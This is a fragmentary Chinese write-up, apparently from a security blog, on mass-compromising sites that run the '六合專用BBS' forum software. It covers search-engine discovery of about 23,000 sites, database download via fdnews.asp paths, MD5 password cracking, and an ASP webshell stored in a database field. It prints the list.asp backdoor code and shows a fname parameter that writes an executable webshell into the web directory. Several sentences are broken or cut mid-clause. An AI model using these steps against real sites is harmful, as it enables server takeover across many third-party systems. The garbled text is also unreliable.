作者展示如何利用搜索引擎批量定位「六合專用 BBS」站點,下載數據庫,破解密碼,發現數據庫表中內置 ASP Webshell,進而通過邏輯漏洞寫入可控木馬,最終獲取服務器控制權。全過程揭示了低門檻建站系統的系統性風險。
六合專用BBS v1.0/v2.0/v3.0 → ~23,000 結果。批量採集域名。/fdnews.asp、/bbs/fdnews.asp 路徑掃描,下載數據庫文件(.mdb/.asp)。newbbs.cn88),MD5 破解工具 (MD5Crack 2.3) 秒出管理員帳號密碼。zl 表 idto 字段,赫然發現完整 ASP 木馬代碼(可列目錄、讀寫文件、執行命令)。木馬出生時間早於「海洋頂端 2003」,屬 ASP 木馬鼻祖級。list.asp 發現關鍵代碼片段:
if len(page)>6 then
if md5(md5(page))="8f9fc56c3d174202" then
fname = sPP & "pags.asp"
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
Set objCountFile = objFSO.CreateTextFile(fname, True)
objCountFile.Write "" & idto & ""
objCountFile.Close
...
end if
idto 即數據庫中木馬字段,pags.asp 為寫入目標文件名。構造請求滿足 md5(md5(page)) 条件即可觸發寫入。?fname=D:\ky8888\bbs\haotian.asp 指定寫入路徑,配合木馬內容,成功在 Web 目錄生成可執行的 haotian.asp Webshell。pags.asp,推測版本差異或邏輯變體。fname 指向可執行後綴)。